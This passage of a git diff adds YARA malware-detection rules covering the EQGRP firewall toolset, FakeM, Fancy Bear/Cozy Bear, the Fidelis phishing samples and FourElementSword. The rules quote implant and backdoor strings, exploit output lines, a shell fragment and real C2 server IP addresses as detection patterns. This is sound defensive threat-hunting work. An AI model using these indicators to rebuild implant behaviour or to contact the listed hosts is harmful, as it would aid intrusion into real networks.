+		( uint16(0) == 0x2123 and filesize < 1KB and 2 of ($s*) ) or ( all of them )
+}
+
+rule EQGRP_BBALL {
+	meta:
+		description = "EQGRP Toolset Firewall - file BBALL_E28F6-2201.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "498fc9f20b938b8111adfa3ca215325f265a08092eefd5300c4168876deb7bf6"
+	strings:
+		$s1 = "Components/Modules/BiosModule/Implant/E28F6/../e28f640j3_asm.S" fullword ascii
+		$s2 = ".got_loader" fullword ascii
+		$s3 = "handler_readBIOS" fullword ascii
+		$s4 = "cmosReadByte" fullword ascii
+		$s5 = "KEEPGOING" fullword ascii
+		$s6 = "checksumAreaConfirmed.0" fullword ascii
+		$s7 = "writeSpeedPlow.c" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and 4 of ($s*) ) or ( all of them )
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule EQGRP_BARPUNCH_BPICKER {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BARPUNCH-3110, BPICKER-3100"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash2 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+	strings:
+		$x1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s --lptimeout %u" fullword ascii
+		$x2 = "%s -c <cmdtype> -l <lp> -i <implant> -k <ikey> -s <port> -d <port> [operation] [options]" fullword ascii
+		$x3 = "* [%lu] 0x%x is marked as stateless (the module will be persisted without its configuration)" fullword ascii
+		$x4 = "%s version %s already has persistence installed. If you want to uninstall," fullword ascii
+		$x5 = "The active module(s) on the target are not meant to be persisted" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and 1 of them ) or ( 3 of them )
+}
+
+rule EQGRP_Implants_Gen6 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120, BPICKER-3100, writeJetPlow-2130"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash7 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+	strings:
+		$s1 = "LP.c:pixSecurity - Improper number of bytes read in Security/Interface Information" fullword ascii
+		$s2 = "LP.c:pixSecurity - Not in Session" fullword ascii
+		$s3 = "getModInterface__preloadedModules" fullword ascii
+		$s4 = "showCommands" fullword ascii
+		$s5 = "readModuleInterface" fullword ascii
+		$s6 = "Wrapping_Not_Necessary_Or_Wrapping_Ok" fullword ascii
+		$s7 = "Get_CMD_List" fullword ascii
+		$s8 = "LP_Listen2" fullword ascii
+		$s9 = "killCmdList" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and all of them )
+}
+
+rule EQGRP_Implants_Gen5 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, BARPUNCH-3110, BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120, BPICKER-3100, writeJetPlow-2130"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash8 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+	strings:
+		$x1 = "Module and Implant versions do not match.  This module is not compatible with the target implant" fullword ascii
+
+		$s1 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.log" fullword ascii
+		$s2 = "%s/BF_%04d%02d%02d.log" fullword ascii
+		$s3 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.bin" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and 1 of ($x*) ) or ( all of them )
+}
+
+rule EQGRP_pandarock {
+	meta:
+		description = "EQGRP Toolset Firewall - from files pandarock_v1.11.1.1.bin, pit"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "1214e282ac7258e616ebd76f912d4b2455d1b415b7216823caa3fc0d09045a5f"
+		hash2 = "c8a151df7605cb48feb8be2ab43ec965b561d2b6e2a837d645fdf6a6191ab5fe"
+	strings:
+		$x1 = "* Not attempting to execute \"%s\" command" fullword ascii
+		$x2 = "TERMINATING SCRIPT (command error or \"quit\" encountered)" fullword ascii
+		$x3 = "execute code in <file> passing <argX> (HEX)" fullword ascii
+		$x4 = "* Use arrow keys to scroll through command history" fullword ascii
+
+		$s1 = "pitCmd_processCmdLine" fullword ascii
+		$s2 = "execute all commands in <file>" fullword ascii
+		$s3 = "__processShellCmd" fullword ascii
+		$s4 = "pitTarget_getDstPort" fullword ascii
+		$s5 = "__processSetTargetIp" fullword ascii
+
+		$o1 = "Logging commands and output - ON" fullword ascii
+		$o2 = "This command is too dangerous.  If you'd like to run it, contact the development team" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and 1 of ($x*) ) or ( 4 of them ) or 1 of ($o*)
+}
+
+rule EQGRP_BananaUsurper_writeJetPlow {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, writeJetPlow-2130"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+	strings:
+		$x1 = "Implant Version-Specific Values:" fullword ascii
+		$x2 = "This function should not be used with a Netscreen, something has gone horribly wrong" fullword ascii
+
+		$s1 = "createSendRecv: recv'd an error from the target." fullword ascii
+		$s2 = "Error: WatchDogTimeout read returned %d instead of 4" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 2000KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule EQGRP_Implants_Gen4 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash3 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash4 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+	strings:
+		$s1 = "Command has not yet been coded" fullword ascii
+		$s2 = "Beacon Domain  : www.%s.com" fullword ascii
+		$s3 = "This command can only be run on a PIX/ASA" fullword ascii
+		$s4 = "Warning! Bad or missing Flash values (in section 2 of .dat file)" fullword ascii
+		$s5 = "Printing the interface info and security levels. PIX ONLY." fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and 3 of them ) or ( all of them )
+}
+
+rule EQGRP_Implants_Gen3 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BARPUNCH-3110, BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120, BPICKER-3100"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+	strings:
+		$x1 = "incomplete and must be removed manually.)" fullword ascii
+
+		$s1 = "%s: recv'd an error from the target." fullword ascii
+		$s2 = "Unable to fetch the address to the get_uptime_secs function for this OS version" fullword ascii
+		$s3 = "upload/activate/de-activate/remove/cmd function failed" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and 2 of them ) or ( all of them )
+}
+
+rule EQGRP_BLIAR_BLIQUER {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+	strings:
+		$x1 = "Do you wish to activate the implant that is already on the firewall? (y/n): " fullword ascii
+		$x2 = "There is no implant present on the firewall." fullword ascii
+		$x3 = "Implant Version :%lx%lx%lx" fullword ascii
+		$x4 = "You may now connect to the implant using the pbd idkey" fullword ascii
+		$x5 = "No reply from persistant back door." fullword ascii
+		$x6 = "rm -rf pbd.wc; wc -c %s > pbd.wc" fullword ascii
+
+		$p1 = "PBD_GetVersion" fullword ascii
+		$p2 = "pbd/pbdEncrypt.bin" fullword ascii
+		$p3 = "pbd/pbdGetVersion.pkt" fullword ascii
+		$p4 = "pbd/pbdStartWrite.bin" fullword ascii
+		$p5 = "pbd/pbd_setNewHookPt.pkt" fullword ascii
+		$p6 = "pbd/pbd_Upload_SinglePkt.pkt" fullword ascii
+
+		$s1 = "Unable to fetch hook and jmp addresses for this OS version" fullword ascii
+		$s2 = "Could not get hook and jump addresses" fullword ascii
+		$s3 = "Enter the name of a clean implant binary (NOT an image):" fullword ascii
+		$s4 = "Unable to read dat file for OS version 0x%08lx" fullword ascii
+		$s5 = "Invalid implant file" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and ( 1 of ($x*) or 1 of ($p*) ) ) or ( 3 of them )
+}
+
+rule EQGRP_sploit {
+	meta:
+		description = "EQGRP Toolset Firewall - from files sploit.py, sploit.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+		hash2 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+	strings:
+		$s1 = "print \"[+] Connecting to %s:%s\" % (self.params.dst['ip'], self.params.dst['port'])" fullword ascii
+		$s2 = "@overridable(\"Must be overriden if the target will be touched.  Base implementation should not be called.\")" fullword ascii
+		$s3 = "@overridable(\"Must be overriden.  Base implementation should not be called.\")" fullword ascii
+		$s4 = "exp.load_vinfo()" fullword ascii
+		$s5 = "if not okay and self.terminateFlingOnException:" fullword ascii
+		$s6 = "print \"[-] keyboard interrupt before response received\"" fullword ascii
+		$s7 = "if self.terminateFlingOnException:" fullword ascii
+		$s8 = "print 'Debug info ','='*40" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 90KB and 1 of ($s*) ) or ( 4 of them )
+}
+
+rule EQGRP_Implants_Gen2 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120, writeJetPlow-2130"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+	strings:
+		$x1 = "Modules persistence file written successfully" fullword ascii
+		$x2 = "Modules persistence data successfully removed" fullword ascii
+		$x3 = "No Modules are active on the firewall, nothing to persist" fullword ascii
+
+		$s1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s " fullword ascii
+		$s2 = "Error while attemping to persist modules:" fullword ascii
+		$s3 = "Error while reading interface info from PIX" fullword ascii
+		$s4 = "LP.c:pixFree - Failed to get response" fullword ascii
+		$s5 = "WARNING: LP Timeout specified (%lu seconds) less than default (%u seconds).  Setting default" fullword ascii
+		$s6 = "Unable to fetch config address for this OS version" fullword ascii
+		$s7 = "LP.c: interface information not available for this session" fullword ascii
+		$s8 = "[%s:%s:%d] ERROR: " fullword ascii
+		$s9 = "extract_fgbg" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 3000KB and 1 of ($x*) ) or ( 5 of them )
+}
+
+rule EQGRP_Implants_Gen1 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, BARPUNCH-3110, BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120, BPICKER-3100, lpexe, writeJetPlow-2130"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash8 = "ee3e3487a9582181892e27b4078c5a3cb47bb31fc607634468cc67753f7e61d7"
+		hash9 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+	strings:
+		$s1 = "WARNING:  Session may not have been closed!" fullword ascii
+		$s2 = "EXEC Packet Processed" fullword ascii
+		$s3 = "Failed to insert the command into command list." fullword ascii
+		$s4 = "Send_Packet: Trying to send too much data." fullword ascii
+		$s5 = "payloadLength >= MAX_ALLOW_SIZE." fullword ascii
+		$s6 = "Wrong Payload Size" fullword ascii
+		$s7 = "Unknown packet received......" fullword ascii
+		$s8 = "Returned eax = %08x" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 6000KB and ( 2 of ($s*) ) ) or ( 5 of them )
+}
+
+rule EQGRP_eligiblebombshell_generic {
+	meta:
+		description = "EQGRP Toolset Firewall - from files eligiblebombshell_1.2.0.1.py, eligiblebombshell_1.2.0.1.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
+		hash2 = "dd0e3ae6e1039a755bf6cb28bf726b4d6ab4a1da2392ba66d114a43a55491eb1"
+	strings:
+		$s1 = "logging.error(\"       Perhaps you should run with --scan?\")" fullword ascii
+		$s2 = "logging.error(\"ERROR: No entry for ETag [%s] in %s.\" %" fullword ascii
+		$s3 = "\"be supplied\")" fullword ascii
+	condition:
+		( filesize < 70KB and 2 of ($s*) ) or ( all of them )
+}
+
+rule EQGRP_ssh_telnet_29 {
+	meta:
+		description = "EQGRP Toolset Firewall - from files ssh.py, telnet.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		super_rule = 1
+		hash1 = "630d464b1d08c4dfd0bd50552bee2d6a591fb0b5597ecebaa556a3c3d4e0aa4e"
+		hash2 = "07f4c60505f4d5fb5c4a76a8c899d9b63291444a3980d94c06e1d5889ae85482"
+	strings:
+		$s1 = "received prompt, we're in" fullword ascii
+		$s2 = "failed to login, bad creds, abort" fullword ascii
+		$s3 = "sending command \" + str(n) + \"/\" + str(tot) + \", len \" + str(len(chunk) + " fullword ascii
+		$s4 = "received nat - EPBA: ok, payload: mangled, did not run" fullword ascii
+		$s5 = "no status returned from target, could be an exploit failure, or this is a version where we don't expect a stus return" ascii
+		$s6 = "received arp - EPBA: ok, payload: fail" fullword ascii
+		$s7 = "chopped = string.rstrip(payload, \"\\x0a\")" fullword ascii
+	condition:
+		( filesize < 10KB and 2 of them ) or ( 3 of them )
+}
+
+/* Extras */
+
+rule EQGRP_tinyexec {
+	meta:
+		description = "EQGRP Toolset Firewall - from files tinyexec"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+	strings:
+		$s1 = { 73 68 73 74 72 74 61 62 00 2E 74 65 78 74 }
+		$s2 = { 5A 58 55 52 89 E2 55 50 89 E1 }
+	condition:
+		uint32(0) == 0x464c457f and filesize < 270 and all of them
+}
+
+rule EQGRP_callbacks {
+	meta:
+		description = "EQGRP Toolset Firewall - Callback addresses"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+	strings:
+		$s1 = "30.40.50.60:9342" fullword ascii wide /* DoD */
+	condition:
+		1 of them
+}
+
+rule EQGRP_Extrabacon_Output {
+	meta:
+		description = "EQGRP Toolset Firewall - Extrabacon exploit output"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+	strings:
+		$s1 = "|###[ SNMPresponse ]###" fullword ascii
+		$s2 = "[+] generating exploit for exec mode pass-disable" fullword ascii
+		$s3 = "[+] building payload for mode pass-disable" fullword ascii
+		$s4 = "[+] Executing:  extrabacon" fullword ascii
+		$s5 = "appended AAAADMINAUTH_ENABLE payload" fullword ascii
+	condition:
+		2 of them
+}
+
+rule EQGRP_Unique_Strings {
+	meta:
+		description = "EQGRP Toolset Firewall - Unique strings"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+	strings:
+		$s1 = "/BananaGlee/ELIGIBLEBOMB" ascii
+		$s2 = "Protocol must be either http or https (Ex: https://1.2.3.4:1234)"
+	condition:
+		1 of them
+}
+
+rule EQGRP_RC5_RC6_Opcode {
+	meta:
+		description = "EQGRP Toolset Firewall - RC5 / RC6 opcode"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/incidents/75812/the-equation-giveaway/"
+		date = "2016-08-17"
+	strings:
+		/*
+			mov     esi, [ecx+edx*4-4]
+			sub     esi, 61C88647h
+			mov     [ecx+edx*4], esi
+			inc     edx
+			cmp     edx, 2Bh
+		*/
+		$s1 = { 8B 74 91 FC 81 EE 47 86 C8 61 89 34 91 42 83 FA 2B }
+	condition:
+		1 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_fakem_backdoor.yar b/yara-mikesxrs/Florian Roth/apt_fakem_backdoor.yar
new file mode 100644
index 0000000..ffc550d
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_fakem_backdoor.yar	
@@ -0,0 +1,46 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-25
+	Identifier: FakeM
+*/
+
+rule FakeM_Generic {
+	meta:
+		description = "Detects FakeM malware samples"
+		author = "Florian Roth"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
+		date = "2016-01-25"
+		score = 85
+		hash1 = "631fc66e57acd52284aba2608e6f31ba19e2807367e33d8704f572f6af6bd9c3"
+		hash2 = "3d9bd26f5bd5401efa17690357f40054a3d7b438ce8c91367dbf469f0d9bd520"
+		hash3 = "53af257a42a8f182e97dcbb8d22227c27d654bea756d7f34a80cc7982b70aa60"
+		hash4 = "4a4dfffae6fc8be77ac9b2c67da547f0d57ffae59e0687a356f5105fdddc88a3"
+		hash5 = "7bfbf49aa71b8235a16792ef721b7e4195df11cb75371f651595b37690d108c8"
+		hash6 = "12dedcdda853da9846014186e6b4a5d6a82ba0cf61d7fa4cbe444a010f682b5d"
+		hash7 = "9adda3d95535c6cf83a1ba08fe83f718f5c722e06d0caff8eab4a564185971c5"
+		hash8 = "3209ab95ca7ee7d8c0140f95bdb61a37d69810a7a23d90d63ecc69cc8c51db90"
+		hash9 = "41948c73b776b673f954f497e09cc469d55f27e7b6e19acb41b77f7e64c50a33"
+		hash10 = "53cecc0d0f6924eacd23c49d0d95a6381834360fbbe2356778feb8dd396d723e"
+		hash11 = "523ad50b498bfb5ab688d9b1958c8058f905b634befc65e96f9f947e40893e5b"
+	strings:
+		$a1 = "\\system32\\kernel32.dll" fullword ascii
+		$a2 = "\\boot.lnk" fullword ascii
+		$a3 = "%USERPROFILE%" fullword ascii /* Goodware String - occured 16 times */
+
+		$b1 = "Wizard.EXE" fullword wide
+		$b2 = "CommandLineA" fullword ascii
+
+		$c1 = "\\system32\\kernel32.dll" fullword ascii
+		$c2 = "\\aapz.tmp" fullword ascii
+
+		$e1 = "C:\\Documents and Settings\\A\\" fullword ascii
+		$e2 = "\\svchost.exe" fullword ascii
+		$e3 = "\\Perform\\Release\\Perform.pdb" fullword ascii
+
+		$f1 = "Browser.EXE" fullword wide
+		$f2 = "\\browser.exe" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and
+		( all of ($a*) or all of ($b*) or all of ($c*) or all of ($e*) or 1 of ($f*) )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_fancybear_dnc.yar b/yara-mikesxrs/Florian Roth/apt_fancybear_dnc.yar
new file mode 100644
index 0000000..214c199
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_fancybear_dnc.yar	
@@ -0,0 +1,54 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-14
+	Identifier: Fancy Bear and Cozy Bear Report - CrowdStrike
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule COZY_FANCY_BEAR_Hunt {
+	meta:
+		description = "Detects Cozy Bear / Fancy Bear C2 Server IPs"
+		author = "Florian Roth"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		date = "2016-06-14"
+	strings:
+		$s1 = "185.100.84.134" ascii wide fullword
+		$s2 = "58.49.58.58" ascii wide fullword
+		$s3 = "218.1.98.203" ascii wide fullword
+		$s4 = "187.33.33.8" ascii wide fullword
+		$s5 = "185.86.148.227" ascii wide fullword
+		$s6 = "45.32.129.185" ascii wide fullword
+		$s7 = "23.227.196.217" ascii wide fullword
+	condition:
+		uint16(0) == 0x5a4d and 1 of them
+}
+
+rule COZY_FANCY_BEAR_pagemgr_Hunt {
+	meta:
+		description = "Detects a pagemgr.exe as mentioned in the CrowdStrike report"
+		author = "Florian Roth"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		date = "2016-06-14"
+	strings:
+		$s1 = "pagemgr.exe" wide fullword
+	condition:
+		uint16(0) == 0x5a4d and 1 of them
+}
+
+rule COZY_FANCY_BEAR_modified_VmUpgradeHelper {
+	meta:
+		description = "Detects a malicious VmUpgradeHelper.exe as mentioned in the CrowdStrike report"
+		author = "Florian Roth"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		date = "2016-06-14"
+	strings:
+		$s1 = "VMware, Inc." wide fullword
+		$s2 = "Virtual hardware upgrade helper service" fullword wide
+		$s3 = "vmUpgradeHelper\\vmUpgradeHelper.pdb" ascii
+	condition:
+		uint16(0) == 0x5a4d and
+		filename == "VmUpgradeHelper.exe" and
+		not all of ($s*)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_fidelis_phishing_plain_sight.yar b/yara-mikesxrs/Florian Roth/apt_fidelis_phishing_plain_sight.yar
new file mode 100644
index 0000000..b8ee35c
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_fidelis_phishing_plain_sight.yar	
@@ -0,0 +1,27 @@
+
+rule Fidelis_Advisory_Purchase_Order_pps {
+    meta:
+        description = "Detects a string found in a malicious document named Purchase_Order.pps"
+        author = "Florian Roth"
+        reference = "http://goo.gl/ZjJyti"
+        date = "2015-06-09"
+    strings:
+        $s0 = "Users\\Gozie\\Desktop\\Purchase-Order.gif" ascii
+    condition:
+        all of them
+}
+
+rule Fidelis_Advisory_cedt370 {
+    meta:
+        description = "Detects a string found in memory of malware cedt370r(3).exe"
+        author = "Florian Roth"
+        reference = "http://goo.gl/ZjJyti"
+        date = "2015-06-09"
+    strings:
+        $s0 = "PO.exe" ascii fullword
+        $s1 = "Important.exe" ascii fullword
+        $s2 = "&username=" ascii fullword
+        $s3 = "Browsers.txt" ascii fullword
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_four_element_sword.yar b/yara-mikesxrs/Florian Roth/apt_four_element_sword.yar
new file mode 100644
index 0000000..eefac62
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_four_element_sword.yar	
@@ -0,0 +1,161 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-18
+	Identifier: FourElementSword
+	Reference: https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule FourElementSword_Config_File {
+	meta:
+		description = "Detects FourElementSword Malware - file f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27"
+	strings:
+		$s0 = "01,,hccutils.dll,2" fullword ascii
+		$s1 = "RegisterDlls=OurDll" fullword ascii
+		$s2 = "[OurDll]" fullword ascii
+		$s3 = "[DefaultInstall]" fullword ascii /* Goodware String - occured 16 times */
+		$s4 = "Signature=\"$Windows NT$\"" fullword ascii /* Goodware String - occured 26 times */
+	condition:
+		4 of them
+}
+
+rule FourElementSword_T9000 {
+	meta:
+		description = "Detects FourElementSword Malware - file 5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+	strings:
+		$x1 = "D:\\WORK\\T9000\\" ascii
+		$x2 = "%s\\temp\\HHHH.dat" fullword wide
+
+		$s1 = "Elevate.dll" fullword wide
+		$s2 = "ResN32.dll" fullword wide
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword wide
+		$s4 = "igfxtray.exe" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 1 of ($x*) ) or ( all of them )
+}
+
+rule FourElementSword_32DLL {
+	meta:
+		description = "Detects FourElementSword Malware - file 7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6"
+	strings:
+		$x1 = "%temp%\\tmp092.tmp" fullword ascii
+
+		$s1 = "\\System32\\ctfmon.exe" fullword ascii
+		$s2 = "%SystemRoot%\\System32\\" fullword ascii
+		$s3 = "32.dll" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 660KB and $x1 ) or ( all of them )
+}
+
+rule FourElementSword_Keyainst_EXE {
+	meta:
+		description = "Detects FourElementSword Malware - file cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082"
+		author = "Florian Roth"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082"
+	strings:
+		$x1 = "C:\\ProgramData\\Keyainst.exe" fullword ascii
+
+		$s1 = "ShellExecuteA" fullword ascii /* Goodware String - occured 266 times */
+		$s2 = "GetStartupInfoA" fullword ascii /* Goodware String - occured 2573 times */
